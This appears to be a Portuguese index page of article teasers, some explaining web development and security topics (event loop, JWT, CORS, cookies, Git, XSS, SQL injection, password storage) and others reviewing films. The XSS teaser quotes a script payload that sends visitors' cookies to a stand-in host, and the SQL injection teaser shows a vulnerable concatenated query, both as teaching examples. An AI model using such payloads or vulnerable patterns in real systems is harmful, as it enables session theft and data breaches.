O JavaScript tem uma thread só. É a mesma que corre o seu código, responde aos cliques e desenha a página — e é por isso que um ciclo pesado congela tudo, incluindo o cursor a piscar numa caixa de texto. 1. O modelo, em três peças A pilha — o que está a correr agora. Uma coisa de cada vez. As tarefa…
O JSON Web Token é três blocos de texto separados por pontos. Vale a pena saber exatamente o que cada um faz, porque quase todos os erros com JWT vêm de lhe atribuir propriedades que ele não tem. eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMiLCJub21lIjoiQW5hIn0.4pcPyMD09olPSyXnrXCjTw └── cabeçalho ──────┘ └─…
É provavelmente a mensagem mais copiada para o Google em toda a história do desenvolvimento web: Access to fetch at 'https://api.exemplo.pt/dados' from origin 'https://meusite.pt' has been blocked by CORS policy E a reação mais comum é a errada: procurar como "desligar o CORS" no browser. 1. Quem bl…
Um cookie de sessão são três atributos e um problema. Vale a pena perceber os três, porque cada um fecha uma porta diferente. Set-Cookie: sessao=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=604800 1. HttpOnly — contra o XSS O JavaScript da página não consegue ler o cookie. Se alguém conse…
É das discussões mais antigas em qualquer equipa, e tem uma regra simples por baixo de todo o barulho. 1. O que cada um faz O merge junta dois ramos com um commit novo. A história fica como aconteceu: dois caminhos que se encontraram. * 9f2a1b merge do ramo funcionalidade |\ | * 7b2e44 acrescenta va…
Um comentário com isto lá dentro: <script>fetch('https://mau.example?c=' + document.cookie)</script> Se a página o mostrar como HTML, o script corre no browser de quem visita , com a sessão de quem visita. É o cross-site scripting , e continua a ser a vulnerabilidade mais comum na web. 1. Os três sa…
Uma base de dados acaba por sair. Acontece a empresas com equipas de segurança a sério, e vai acontecer ao seu projeto de fim de semana. A pergunta que interessa não é se alguém a vai ler — é o que essa pessoa encontra lá dentro. 1. O que nunca se faz Guardar em texto simples. Não precisa de explica…
Tem quase trinta anos, está no topo das listas de vulnerabilidades desde que há listas, e continua a aparecer. A causa é sempre a mesma linha de código: const sql = "SELECT * FROM utilizadores WHERE email = '" + email + "'"; 1. O que acontece Se o email for [email protected] , a consulta é a esperada. …
Três comandos para desfazer coisas, e a confusão entre eles é responsável por boa parte do trabalho perdido em Git. A diferença resume-se a o que é que cada um mexe . 1. Deitar fora alterações que ainda não foram comitadas # Um ficheiro, como está no último commit git restore src/servidor.ts # Tirar…
Um professor de biologia de uma escola sem dinheiro descobre que um lutador de MMA derrotado ganha dez mil dólares por noite. Ele precisa de quarenta e oito mil para salvar a disciplina de música e o emprego do colega. Começa a lutar. É uma comédia com Kevin James, o que define as expectativas — e o…
Bilbo Baggins sai de casa com treze anões e um feiticeiro, numa viagem para recuperar um reino tomado por um dragão. Pelo caminho, numa gruta, encontra um anel. Peter Jackson transformou um livro infantil de trezentas páginas em três filmes de quase três horas cada. A decisão foi comercial e nota-se…
Seis histórias, de uma travessia do Pacífico no século XIX a um futuro depois da civilização, ligadas pela ideia de que um gesto ecoa através dos séculos. Os mesmos atores fazem papéis diferentes em cada uma. É adaptado do romance de David Mitchell, que era tido como impossível de filmar — e a escol…
O pai de um dos homens que Bryan Mills matou em Paris organiza a vingança. A ocasião é uma viagem de família a Istambul, onde Mills e a ex-mulher são capturados e a filha fica solta na cidade — desta vez como a única que pode agir. O primeiro Taken funcionou por ser pequeno, barato, e por Liam Neeso…
Bond falha uma missão em Istambul, dão-no como morto, e só volta ao serviço quando o MI6 é atacado em Londres. O ataque não é de um Estado nem de uma organização: é de um antigo agente que M queimou anos antes e que voltou para lho cobrar. É o vigésimo terceiro filme da série, e saiu no ano em que e…
Um homem da sala do correio de um jornal de Nova Iorque finge ser escritor de viagens para impressionar uma colega, é enviado para o Triângulo das Bermudas e vai parar a Lilliput — um país de gente do tamanho de uma mão, para quem ele é um gigante. Do livro de Swift, que é uma sátira política em qua…
Um homem precisa de chegar a Los Angeles a tempo do nascimento da filha. Um encontro no aeroporto põe-no na lista de proibidos de voar e deixa-o sem documentos nem carteira. A única forma de viajar é de carro, com o responsável por tudo aquilo. Todd Phillips fez isto logo a seguir ao primeiro Hangov…
Megamind passou a vida a tentar derrotar o herói da cidade e finalmente consegue. Depois descobre o óbvio: um vilão sem ninguém para combater não tem nada para fazer. Inventa então um herói novo — e a experiência corre-lhe mal. Saiu no mesmo ano do Gru — O Maldisposto , com uma premissa parecida, e …
Um dia em Los Angeles, seguido através de uma dúzia de personagens cujas histórias se tocam: um florista que decide pedir a namorada em casamento, uma professora, dois militares num avião, um par de adolescentes, uma agente de relações públicas. Garry Marshall pegou na fórmula do Love Actually e apl…
O assistente do embaixador americano em Paris faz pequenos trabalhos para os serviços secretos e quer mais. Consegue: é destacado como parceiro de um agente que chega, dispara primeiro e não explica nada. É produzido por Luc Besson, que nessa altura já tinha uma fórmula — um ator americano, Paris, e…
Um mercenário inglês do século XVI descobre que a sua alma está prometida ao diabo como pagamento da vida que levou. Recolhe-se num mosteiro para escapar à condenação — até a violência o encontrar outra vez e ele ter de escolher entre a salvação e fazer aquilo que sabe fazer. A personagem é de Rober…